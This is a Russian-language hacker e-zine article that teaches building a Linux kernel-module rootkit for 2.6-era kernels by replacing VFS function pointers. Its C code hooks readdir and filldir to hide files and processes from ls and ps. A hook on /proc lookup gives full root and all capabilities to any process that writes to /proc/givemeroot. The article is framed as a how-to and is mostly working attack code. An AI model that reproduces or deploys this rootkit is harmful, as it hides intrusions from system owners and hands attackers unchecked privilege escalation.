hack.connect
 
[ru.scene.community]
HackConnect.E-zine issue #1
// 01000 Пишем LKM руткит с использованием VFS
Итак, сегодня мы будем писать руткит в виде модуля к ядру. От читателя требуется по крайней мере знание C, понимание устройства VFS и умение программирования модулей - не повредят :)
Большинство операций, выполняемых программами (чтение/запись в файл, листинг директорий и многое другое) происходит через вызов системной функции, предоставляемой ядром. Таким образом, чтобы заставить ls (и, что есть одно из преимуществ LKM руткитов над файловыми - все остальные программы тоже) скрывать наши файлы, а ps - наши процессы, эти самые ядерные функции нужно подменить. Раньше наиболее распространенным способом осуществить это была замена адреса в таблице sys_call_table на адрес нашей функции. В ядрах 2.6.* экспорт этой таблицы был прекращен, что отметает данный способ.
Но есть и другой способ - подмена функций VFS (Virtual FileSystem). VFS - структура для унификации операций с файлами на разных ФС. Все ФС должны хранить свои функции в структуре file_operations:
struct file_operations {
    struct module *owner;
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, int (*readdir) (struct file *, void *, filldir_t);
    //some functions are cut
};
При открытии файла ему ставится в соответствие такая структура, что позволяет программам типа ls работать с файлом, не задумываясь ни о каких файловых системах:
struct file
{
    struct dentry *f_dentry;
    struct vfsmount *f_vfsmnt;
    struct file_operations *f_op; // это и есть та самая структура
};
Забегая вперед, скажу, что начиная с ядра по крайней мере 2.6.19.2 (мое :)) перед f_op добавлен модификатор const, так что для ее изменения придется этот модификатор убрать.
Так вот именно функции в этой структуре нам предстоит подменить. Удачно, что ее не копируют, а просто передают для каждого файла в пределах одной ФС, т.е. нам нужно подменить ее только для одного любого файла.
Делается это следующим образом:
typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t old_root_readdir;

int patch_readdir(const char *name, readdir_t *old_readdir, readdir_t new_readdir)
{
    struct file *filep;
    if ((filep = filp_open(name, O_RDONLY, 0)) == NULL) return -1;
    *old_readdir = filep->f_op->readdir;
    filep->f_op->readdir = new_readdir;
    filp_close(filep, 0);
    return 0;
}
int init_module()
{
    patch_readdir("/",old_root_readdir, new_root_readdir);
    return 0;
}
Мы открываем файл, сохраняем старую процедуру (ее нужно обязательно восстановить при выгрузке модуля!), и заменяем filep->f_op->readdir своей. Код для восстановления очевиден, но при желании его можно глянуть в xnd_wmkr26.
Далее, нам придется написать собственную процедуру readdir():
filldir_t old_root_filldir;
static int new_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
    if (fileIsHidden(name))
        return 0;
    return old_root_filldir(buf, name, nlen, off, ino, x);
}
int new_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
    old_root_filldir = filldir;
    return old_root_readdir(fp, buf, new_root_filldir);
}
В принципе, filldir() используется для заполнения директорий, но именно ее мы и поюзаем для скрытия файла.
Таким образом, мы добились скрытия файлов. А как же процессы? Вспоминаем, что VFS - универсальна, а значит, для сокрытия процессов нужно будет всего лишь вызвать
patch_readdir("/proc",old_proc_readdir, new_proc_readdir);
(естественно, с другими старой и новой readdir)
Итак, скрывать все что нужно мы научились. Однако хотелось бы получить возможность конртолировать руткит на лету. В ранних версиях xnd_wkmr26 я создавал для этого свой файл в /proc (естественно, скрывая его). Однако есть более удобный метод - подменить процедуру lookup (получение dentry по inode). Делается это примерно так же, как и подмена readdir, только доступ к этой процедуре будет немного закрученней:
struct file *filep = filp_open("/proc", O_RDONLY, 0));
filep->f_dentry->d_inode->i_op->lookup
(берем остюда старую, записываем новую).
Процедура lookup() будет вызвана всякий раз при попытке записи в файл. Именно через нее мы и будем конролировать руткит:
typedef struct dentry *(*lookup_t)(struct inode *, struct dentry *, struct nameidata *);
lookup_t old_proc_lookup;

struct dentry *new_proc_lookup(struct inode *i, struct dentry *d, struct nameidata *nd)
{
    char *name = d->d_iname;
    task_lock(current);
   
    if (strncmp(name, "givemeroot", 10) == 0)
    {
        current->uid = 0;
        current->gid = 0;
        current->euid = 0;
        current->egid = 0;
        current->suid = 0;
        current->sgid = 0;
        current->fsuid = 0;
        current->fsgid = 0;
        cap_set_full(current->cap_effective);
        cap_set_full(current->cap_inheritable);
        cap_set_full(current->cap_permitted);
    }
   
    //определяем здесь любые действия, приводить их код бессмысленно
    task_unlock(current);
    return old_proc_lookup(i, d, nd);
}
Таким образом, при выполнении echo > /proc/givemeroot прога получит рута :)

Лень писать в сотый раз стандартные вещи вроде того, как компилировать модули к ядру и т.д., гляньте [1] или Makefile от xnd_wkmr26, свежий билд которого прилагается к журналу.

Литература:
[1] Linux kernel module programming guide
http://tldp.org/LDP/lkmpg
[2] Advances in kernel hacking I
phrack vol 0x0b, issue 0x3a, file #0x06
[3] Understanding the linux kernel (chapter about VFS)
http://www.sti.uniurb.it/acquaviva/ulk.pdf
/* ----------------------------------------------------[contents]----------------------------------------------------- */